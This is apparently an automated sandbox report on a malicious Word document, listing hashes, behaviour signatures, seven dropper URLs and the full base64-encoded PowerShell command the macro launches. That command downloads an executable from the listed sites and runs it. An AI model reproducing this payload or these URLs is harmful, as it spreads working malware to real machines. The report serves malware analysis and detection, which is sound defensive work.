Analysis
-
max time kernel
101s -
max time network
16s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
-
submitted
19-09-2024 05:59
General
-
Target
eab6f7a1517e79d2a72e2cc31bb1a893_JaffaCakes118.doc
-
Size
199KB
-
MD5
eab6f7a1517e79d2a72e2cc31bb1a893
-
SHA1
787613d2d830a0ad8c526aca34a3edb904af75e3
-
SHA256
4c6bf53f5192cfaae6652533f1980fc4c40016b9abd84823ebd3165a3d8bd024
-
SHA512
f0a683e6020e82faf1e8e98e10d32e428eed54af0aa37eebcaa4264005266fd28e4433a4a55942052beca4ffa08423f9527ca68714f995c39610183b253aab17
-
SSDEEP
3072:9WKWj22TWTogk079THcpOu5UZM5EcbWD+kzD:y/TX07hHcJQaEcKDXzD
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://haymetetrading.com/wp-includes/yGELKj4/
exe.dropper
http://simofferbd24.com/wp-includes/fsiQc/
exe.dropper
http://401kplansinfo.com/cgi-bin/KtFRk/
exe.dropper
http://fidelityguide.com/cgi-bin/VA/
exe.dropper
https://sirnakmidyeci.com/wp-includes/qk9wW2/
exe.dropper
https://subitocarne.com/wp-content/ByeOAt9/
exe.dropper
https://eliesalibaarchitect.com/wordpress/T/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 2 IoCs
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\eab6f7a1517e79d2a72e2cc31bb1a893_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -en JABVAGUAdgB3AHoAZwB6AD0AKAAoACcAQgAnACsAJwBrAG4AdAAnACkAKwAoACcANAA1ACcAKwAnAHAAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABFAE4AVgA6AHUAcwBFAHIAcAByAE8ARgBpAGwAZQBcAHkAdgAzAFcAbQA5AGcAXAB3AFoATgA3ADgAZQA4AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAGUAQwBUAG8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAcgBJAGAAVABZAFAAYABSAE8AdABPAEMAYABvAGwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxADIALAAnACkAKwAnACAAdAAnACsAKAAnAGwAJwArACcAcwAxADEALAAgAHQAJwApACsAJwBsACcAKwAnAHMAJwApADsAJABRADMAeQB3AGkAbwBvACAAPQAgACgAKAAnAFQAJwArACcAaQBpACcAKQArACgAJwAwACcAKwAnAGIAYwAnACkAKwAnAHAAJwApADsAJABFAGYAZQA1AHEAegA5AD0AKAAnAFcAJwArACgAJwB6ACcAKwAnADUAZAA0ACcAKQArACcANABlACcAKQA7ACQAQgBuAHAAXwBzADUAdgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAGcAJwArACcAUQBXAFkAJwArACcAdgAzACcAKQArACcAdwAnACsAJwBtACcAKwAnADkAZwAnACsAKAAnAGcAUQAnACsAJwBXACcAKQArACgAJwBXAHoAJwArACcAbgA3ACcAKQArACcAOABlACcAKwAoACcAOABnAFEAJwArACcAVwAnACkAKQAuACIAcgBlAHAAYABsAGAAQQBjAGUAIgAoACgAWwBDAGgAQQByAF0AMQAwADMAKwBbAEMAaABBAHIAXQA4ADEAKwBbAEMAaABBAHIAXQA4ADcAKQAsAFsAcwBUAFIASQBOAEcAXQBbAEMAaABBAHIAXQA5ADIAKQApACsAJABRADMAeQB3AGkAbwBvACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAWABzAHQAYgB1AHgAcgA9ACgAKAAnAEcAZAAnACsAJwBlACcAKQArACgAJwB5ADcAMAAnACsAJwA5ACcAKQApADsAJABUAHIANwB5ADAAZQBnAD0AJgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlAGMAJwArACcAdAAnACkAIABOAEUAVAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABDAHgAZQBhAGsAcgBxAD0AKAAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6AC8ALwBoAGEAeQAnACsAJwBtAGUAdABlAHQAcgAnACsAJwBhAGQAaQBuAGcALgAnACkAKwAoACcAYwBvAG0AJwArACcALwB3AHAALQBpAG4AJwArACcAYwBsAHUAJwArACcAZABlACcAKQArACgAJwBzACcAKwAnAC8AeQBHACcAKQArACcARQBMACcAKwAoACcASwBqACcAKwAnADQALwAqACcAKwAnAGgAdAB0AHAAJwApACsAJwA6ACcAKwAoACcALwAvACcAKwAnAHMAJwApACsAJwBpAG0AJwArACcAbwAnACsAJwBmAGYAJwArACgAJwBlAHIAJwArACcAYgBkACcAKQArACgAJwAyADQALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwB3ACcAKwAnAHAALQBpACcAKQArACgAJwBuAGMAbAB1ACcAKwAnAGQAZQAnACkAKwAnAHMAJwArACgAJwAvAGYAJwArACcAcwBpAFEAYwAnACkAKwAnAC8AKgAnACsAJwBoAHQAJwArACgAJwB0AHAAOgAvACcAKwAnAC8ANAAwADEAawBwAGwAYQAnACsAJwBuACcAKwAnAHMAJwArACcAaQBuAGYAbwAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACkAKwAoACcALwBjACcAKwAnAGcAaQAnACkAKwAnAC0AYgAnACsAKAAnAGkAbgAnACsAJwAvAEsAJwArACcAdABGAFIAawAvACoAJwArACcAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAGYAaQAnACsAJwBkAGUAbAAnACsAJwBpAHQAeQAnACkAKwAoACcAZwB1AGkAJwArACcAZABlAC4AYwAnACsAJwBvAG0ALwAnACkAKwAnAGMAJwArACcAZwBpACcAKwAnAC0AJwArACgAJwBiAGkAbgAnACsAJwAvACcAKQArACgAJwBWAEEALwAnACsAJwAqAGgAdAAnACsAJwB0AHAAcwAnACsAJwA6AC8ALwAnACkAKwAoACcAcwAnACsAJwBpAHIAbgBhAGsAbQBpACcAKwAnAGQAeQAnACsAJwBlACcAKQArACgAJwBjAGkAJwArACcALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AJwApACsAJwBpAG4AJwArACcAYwAnACsAJwBsACcAKwAnAHUAZAAnACsAKAAnAGUAJwArACcAcwAvAHEAJwApACsAJwBrACcAKwAnADkAdwAnACsAKAAnAFcAMgAvACcAKwAnACoAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAcwA6ACcAKwAnAC8ALwBzAHUAYgAnACkAKwAoACcAaQB0AG8AYwBhAHIAJwArACcAbgBlACcAKQArACcALgBjACcAKwAnAG8AbQAnACsAJwAvAHcAJwArACgAJwBwAC0AYwBvACcAKwAnAG4AdABlACcAKwAnAG4AJwApACsAKAAnAHQALwAnACsAJwBCAHkAZQBPAEEAJwArACcAdAAnACkAKwAoACcAOQAvACcAKwAnACoAaAB0AHQAJwArACcAcABzADoAJwApACsAKAAnAC8ALwBlAGwAJwArACcAaQBlAHMAJwApACsAKAAnAGEAbAAnACsAJwBpAGIAJwApACsAKAAnAGEAYQAnACsAJwByAGMAJwApACsAKAAnAGgAaQB0ACcAKwAnAGUAJwArACcAYwB0ACcAKwAnAC4AYwBvAG0ALwB3ACcAKwAnAG8AcgBkAHAAcgBlACcAKwAnAHMAcwAnACsAJwAvAFQALwAnACkAKQAuACIAcwBgAFAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABTAHIAcAB1AGIANgA1AD0AKAAoACcASQA2AHoAJwArACcAZABfACcAKwAnAGwAJwApACsAJwByACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFEAZQBjAGcAdAA0AHkAIABpAG4AIAAkAEMAeABlAGEAawByAHEAKQB7AHQAcgB5AHsAJABUAHIANwB5ADAAZQBnAC4AIgBEAG8AYABXAG4AYABMAE8AQQBEAGYAaQBsAEUAIgAoACQAUQBlAGMAZwB0ADQAeQAsACAAJABCAG4AcABfAHMANQB2ACkAOwAkAEMAcgBjAHQAdABuAHYAPQAoACgAJwBSAGMAJwArACcAdQBtACcAKQArACcAdQAnACsAJwBrAHgAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEIAbgBwAF8AcwA1AHYAKQAuACIATABlAGAATgBgAEcAVABIACIAIAAtAGcAZQAgADMANwA5ADcANgApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACgAJABCAG4AcABfAHMANQB2ACkAOwAkAEMAbgBtAG4AdgAxAGIAPQAoACcARQAxACcAKwAoACcAegAwAG4AYwAnACsAJwA5ACcAKQApADsAYgByAGUAYQBrADsAJABFAHUAbwA4AG8AaABuAD0AKAAnAFcAJwArACgAJwA3AF8AbAByACcAKwAnADQAYwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQBtADgAMABmAHYAdAA9ACgAKAAnAEEAJwArACcANgBtACcAKQArACcAeAA3ACcAKwAnAHYAbAAnACkA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20KB
MD5b51b6c77a6bdf3b36f052a2d6fd9ff5e
SHA1e2a51e08eb4e7cd57e5d7eee9c34d0ea647e47f3
SHA2564c1d48c312d6fbd9ba5b3cece47ca883f79be0a2c11e17f6a95f3cd949c6dc2e
SHA51279930d0d9a959498afc7bb2fb4d7f878cbec77bfb57e4e7977fbb4ff731112d9510d1c8a63e3f73bb0f2c152dcd54d14a2fe3bf17c377e097b3e28fc3e355c8a
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
64KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
32KB
-
Filesize
2.9MB